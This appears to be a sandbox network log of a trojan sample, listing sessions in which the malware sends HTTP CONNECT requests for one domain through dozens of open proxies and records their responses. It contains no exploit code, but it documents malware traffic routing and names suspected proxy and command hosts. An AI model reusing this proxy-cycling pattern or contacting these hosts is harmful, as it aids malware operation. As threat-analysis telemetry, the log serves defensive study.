Feb 23, 2024 14:28:45.846328974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.8	55476	45.61.188.134	44499	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.795933008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.8	55500	104.21.124.121	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.821261883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.908878088 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.8	55507	93.190.24.119	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.823406935 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.8	55481	72.210.221.223	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.823700905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.8	55449	49.228.131.169	5000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.825869083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.578399897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.8	55484	31.148.207.153	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.863580942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.053884029 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.8	55510	218.145.131.182	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.881124020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.8	55498	74.119.144.60	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.881419897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1909	192.168.2.8	55512	91.197.77.118	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.881495953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1910	192.168.2.8	52598	103.13.112.8	32122	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.881917953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1911	192.168.2.8	52505	78.28.152.111	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.882761002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.956911087 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:49.057996988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:55.101094961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:07.116650105 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:19.226365089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1912	192.168.2.8	55472	3.27.109.94	56781	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.940989017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.252257109 CET	209	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:43 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.45 Server: CompaqHTTPServer/9.9 HP System Management Homepage/3.0.1.73 httpd/2.2.6+ Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1913	192.168.2.8	55319	192.252.216.81	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.955651045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1914	192.168.2.8	52548	205.233.79.218	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.970457077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.190730095 CET	202	IN	HTTP/1.0 404 Not Found Content-Length: 818 Content-Type: text/html Date: Fri, 23 Feb 2024 13:28:43 GMT Expires: Fri, 23 Feb 2024 13:28:43 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1915	192.168.2.8	52553	36.89.85.249	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.971710920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1916	192.168.2.8	55305	72.37.217.3	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.972063065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1917	192.168.2.8	55492	5.44.42.82	10808	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.972306967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1918	192.168.2.8	55519	104.16.105.182	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.973918915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.061146975 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1919	192.168.2.8	55483	103.48.68.101	83	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.983686924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1920	192.168.2.8	52203	183.78.143.137	29554	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.983999968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.991786957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.991715908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.991816044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:58.897541046 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1921	192.168.2.8	55508	193.239.56.84	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.006486893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1922	192.168.2.8	54957	94.23.220.136	25256	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.015113115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.194755077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1923	192.168.2.8	55557	218.145.131.182	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.016602993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1924	192.168.2.8	55558	91.197.77.118	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.019454002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1925	192.168.2.8	54949	8.242.178.6	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.019660950 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.194807053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1926	192.168.2.8	55552	93.190.24.119	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.051839113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1927	192.168.2.8	55540	199.60.103.160	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.368423939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.455885887 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1928	192.168.2.8	55539	172.64.207.185	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.368743896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.456628084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:43 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1929	192.168.2.8	55329	24.249.199.12	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.435970068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1930	192.168.2.8	55587	94.130.181.59	32770	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.823587894 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.
Feb 23, 2024 14:28:46.061654091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1931	192.168.2.8	55509	106.14.255.124	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.908183098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1932	192.168.2.8	54971	185.54.0.18	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.919361115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1933	192.168.2.8	55548	80.67.8.6	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.919362068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1934	192.168.2.8	52749	103.144.209.104	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.919831991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1935	192.168.2.8	52702	77.235.19.2	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:43.925813913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.925139904 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1936	192.168.2.8	55555	193.151.130.114	8086	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.237525940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1937	192.168.2.8	55570	175.183.82.221	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.275012016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1938	192.168.2.8	55536	60.12.168.114	9002	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.282553911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.712846994 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 14:07:04 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1939	192.168.2.8	55584	91.197.77.118	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.282660007 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1940	192.168.2.8	54980	103.111.219.154	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.638966084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1941	192.168.2.8	55572	139.9.119.20	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:44.642672062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
